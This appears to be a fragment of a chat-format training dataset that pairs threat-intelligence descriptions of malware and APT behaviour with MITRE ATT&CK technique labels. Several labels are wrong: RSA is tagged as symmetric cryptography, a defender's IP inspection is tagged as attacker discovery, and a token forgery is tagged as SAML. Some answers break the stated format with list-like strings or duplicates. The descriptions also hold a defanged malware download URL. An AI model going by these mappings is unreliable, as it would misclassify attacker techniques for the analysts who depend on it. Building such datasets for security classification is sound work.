                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Gamaredon group has been active since at least 2013. Contrary to other APT groups, the Gamaredon group seems to make no effort in trying to stay under the radar. Typical Gamaredon compromise chain . While most of the recent publications have focused on the spearphishing emails together with the downloaders they contain, this blogpost focuses on the post-compromise tools deployed on these systems. Office macro injection module – CodeBuilder . We analyzed different variants of malicious modules used by the Gamaredon group to inject malicious macros or remote templates into documents already present on the compromised system. It then scans for documents with valid Word or Excel file extensions on all drives connected to the system. The most prevalent tools downloaded and installed on compromised machines can be broadly grouped into two different categories: downloaders and backdoors. Backdoors – file stealers . While some variations exist in functionalities, the main purpose of these modules is to enumerate all documents on a compromised system and upload them to the C&amp;C server. The behavior of this module is quite straightforward: it scans the system for new Microsoft Office documents, both on local and removable drives, and uploads them to the C&amp;C server. Quality of execution . We were able to collect numerous different samples of malicious scripts, executables and documents used by the Gamaredon group throughout their campaigns. Conclusion . Despite the simplicity of most of their tools, the Gamaredon group also is capable of deploying some novelty, such as their Outlook VBA module"
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can receive and execute commands with cmd.exe. It can also provide a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "njRAT can launch a command shell interface for executing commands."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses the email platform, Naver, for C2 communications, leveraging SMTP."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ferocious Kitten has named malicious files \"update.exe\" and loaded them into the compromise host's “Public” folder."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Blue Mockingbird has used PowerShell reverse TCP shells to issue interactive commands over a network connection."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It also uses “ActiveXObject” utility to help in its execution through Microsoft products and internet browsers. The ActiveXObject object is used to create instances of OLE Automation objects in Internet Explorer on Windows operating systems. Several applications (Microsoft Office Word, Microsoft Office Excel, Windows Media Player, etc) provide OLE Automation objects to allow communication with them"
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DEATHRANSOM is written in C while the other two families are written in C++. DEATHRANSOM uses a distinct series of do/while loops to enumerate through network resources, logical drives, and directories. It also uses QueueUserWorkItem to implement thread pooling for its file encryption threads"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operation Wocao has spawned a new \"cmd.exe\" process to execute commands."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Nebulae has the ability to delete files and directories."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "But what really makes this backdoor interesting is the way in which it communicates with attackers in order to receive commands. Python/TeleBot abuses the Telegram Bot API from Telegram Messenger to communicate with the attackers. We have informed Telegram of this abuse of their communication platform"
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses a custom command and control protocol that communicates over commonly used ports, and is frequently encapsulated by application layer protocols."
            },
            {
                "role": "assistant",
                "content": "T1043 - Commonly Used Port', 'T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Helminth creates folders to store output from batch scripts prior to sending the information to its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FoggyWeb's loader can call the \"load()\" function to load the FoggyWeb dll into an Application Domain on a compromised AD FS server."
            },
            {
                "role": "assistant",
                "content": "T1129 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MobileOrder has a command to upload to its C2 server victim browser bookmarks."
            },
            {
                "role": "assistant",
                "content": "T1217 - Browser Bookmark Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "added junk data to outgoing UDP packets to peer implants."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lucifer can scan for open ports including TCP ports 135 and 1433."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In at least one engagement, we observed Blue Mockingbird seemingly experimenting with different tools to create SOCKS proxies (T1090: Proxy) for pivoting. These tools included a fast reverse proxy (frp), Secure Socket Funneling (SSF), and Venom"
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SNUGRIDE establishes persistence through a Registry Run key."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware used by Ke3chang can run commands on the command-line interface."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyclops Blink can decrypt and parse instructions sent from C2."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KONNI has used a custom base64 key to encode stolen data before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Instead, it immediately issues a query to resolve the following domain, which embeds the session ID value to transmit it to the C2:   <encoded session id>.<same random number between 100000 and 999999>.<c2 domain name>   To transmit the data via the DNS tunneling, the C2 server will respond to the above query with an IPv6 address that contains the number of DNS queries the payload must issue to obtain the entirety of the data from subsequent IPv6 answers"
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has been observed turning off Windows Security Center and can hide the AV software window from the view of the infected user."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once elevated, the ransomware will write a copy of a random file from System32 to the %APPDATA% directory. The newly copied file will have a random and hidden filename. This process allows for the ransomware to copy itself into the file by way of an alternate data stream (ADS"
            },
            {
                "role": "assistant",
                "content": "T1564.004 - Hide Artifacts: NTFS File Attributes"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team temporarily disrupted service to Georgian government, non-government, and private sector websites after compromising a Georgian web hosting provider in 2019."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This variation of the Zebrocy downloader begins by gathering the serial number for the storage volume with the label “C:\\” and the computer name"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Another relationship we have mentioned repeatedly is the use of the SYSCON malware family. This particular malware family was first reported in October 2017 and has been observed delivering decoy documents pertaining to North Korea. The malware is generally unsophisticated, making use of remote FTP servers for C2 communication"
            },
            {
                "role": "assistant",
                "content": "T1071.002 - File Transfer Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Emails dating more than three years prior to malware execution have been included in the collected EmailStorage folder, meaning that there may not be a date limit for the email enumerator. There is a lack of keywords or other limiting pattern by which specific email messages in local mailboxes were targeted for exfiltration. Kroll has identified instances where specific email messages were deleted within the EmailStorage folder. In some instances, the entire EmailStorage folder is deleted once messages have all been exfiltrated. Based on observed cases, there was no evidence that attachments were included in the collected data. Kroll collaborators at the National Cyber Forensics Training Alliance (NCFTA) observed Qakbot samples sending SMTP traffic indicative of outbound spam thread hijackings"
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The batch files involved in the attack modify the system service COMSysApp to load the malicious ipnet.dll. The contents of the batch files vary depending on the OS (x64 vs x86"
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pillowmint can iterate through running processes every six seconds collecting a list of processes to capture from later."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has attempted to get victims to open malicious files sent via email as part of spearphishing campaigns."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Guloader is a downloader that has been active since 2019. It is known to deliver various malware, more notably: Agent-Tesla, Netwire, FormBook, Nanocore, and Parallax RAT"
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Milan can encode files containing information about the targeted system."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ruler can be used to automate the abuse of Outlook Home Pages to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Data that is sent is compressed and then base64-encoded before being included in the requests"
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RogueRobin uses regsvr32.exe to run a .sct file for execution."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - Signed Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Since version 0.4.1 Creates a new Primary Refresh Token (PRT) as JWT to be used to sign-in as the user"
            },
            {
                "role": "assistant",
                "content": "T1606.002 - Forge Web Credentials: SAML token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Then, it reads the dropped file with the .db3 extension, which contains position-independent code, and uses CreateThread to execute its content"
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actors split collected files into approximately 3 MB chunks located on the Exchange server within the CU2\\he\\debug directory."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a command to return a list of running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can install encrypted configuration data under the Registry key HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\ShellCompatibility\\Applications\\laxhost.dll and HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\PrintConfigs."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "identifies a proxy server if it exists and uses it to make HTTP requests."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TajMahal has the ability to steal written CD images and files of interest from previously connected removable drives when they become available again."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "China Chopper's server component can perform brute force password guessing against authentication portals."
            },
            {
                "role": "assistant",
                "content": "T1110.001 - Brute Force: Password Guessing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The “pc” binary checks whether the infected system’s OS is Debian or RHEL/CentOS. Its routine, which involves dropping the cryptocurrency miner and other components, depends on OS. For Debian-based systems, it drops the cryptocurrency miner payload to /tmp/miner2. For CentOS/RHEL systems, it will download a tar (tape archive) file from the URL, hxxp://pm[.]ipfswallet[.]tk/cos7[.]tar[.]gz, containing the cryptocurrency miner and its multiple components, which is unpacked and then installed"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RATANKBA uses \"netstat -ano\" to search for specific IP address ranges."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This structure parses out executable scripts from data provided via a remote operator. In this case, the REGEX value indicates this implant will receive scripts compressed (tar files). The malware will then decompress them before executing the embedded script. Analysis indicates the WellMail implant is similar in design and structure to the WellMess implant -- and both accept and execute shell scripts from a remote operator"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Part of packed VM PCODE After unpacking, the PCODE it will look like the following: Unpacked PCODE After unpacking the virtual machine PCODE is then decrypted: Decrypted VM PCODE The custom virtual machine supports a total of 34 instructions: Example of parsed PCODE In this example, the “1b” instruction is responsible for executing native code that is specified in parameter field"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information', 'T1027.001 - Obfuscated Files or Information: Binary Padding', 'T1027.002 - Obfuscated Files or Information: Software Packing', 'T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Earth Lusca used the command \"powershell “Get-EventLog -LogName security -Newest 500 | where {$_.EventID -eq 4624} | format-list -\nproperty * | findstr “Address””\" to find the network information of successfully logged-in accounts to discovery addresses of other machines. Earth Lusca has also used multiple scanning tools to discover other machines within the same compromised network."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chinese state-sponsored cyber actors have been observed:  Injecting into the rundll32.exe process to hide usage of Mimikatz, as well as injecting into a running legitimate explorer.exe process for lateral movement.  Using shellcode that injects implants into newly created instances of the Service Host process (svchost)."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection', 'T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Inspecting the class C network for 185.162.235.0/24 shows us that another IP on the same network resolves to an OilRig domain, msoffice-cdn[.]com which we identified in August 2017"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has created self-signed digital certificates to enable mutual TLS authentication for malware."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MacSpy can record the sounds from microphones on a computer."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HyperStack has used RSA encryption for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Interestingly, there is an option in the RC2CL module to turn off its backdoor functionality and act as a proxy. In this case, the malware turns off the Windows firewall and creates a server that relays communication between a client and C&amp;C server, or between two clients"
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kessel can split the data to be exilftrated into chunks that will fit in subdomains of DNS queries."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GALLIUM has used a variety of widely-available tools, which in some cases they modified to add functionality and/or subvert antimalware solutions."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can be used to display ARP configuration information on the host."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LockBit 2.0 has been seen using the PowerShell module InvokeGPUpdate to update the group policy."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification', 'T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "code may be obfuscated through structured exception handling and return-oriented programming."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Command execution Command execution can create havoc for victim if the malware developer decides to execute commands in the victim’s device"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A loading script, written in Ruby, was saved to the following location and set to run as a Scheduled Task"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BLUELIGHT has captured a screenshot of the display every 30 seconds for the first 5 minutes after initiating a C2 loop, and then once every five minutes thereafter."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Derusbi binds to a raw socket on a random source port between 31800 and 31900 for C2."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LoudMiner used shell scripts to launch various services and to start/stop the QEMU virtualization."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Bash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kessel has trojanized the <sode>ssh_login\" and \"user-auth_pubkey\" functions to steal plaintext credentials."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Emotet has been observed leveraging a module that scrapes email data from Outlook."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Orz has used Technet and Pastebin web pages for command and control."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
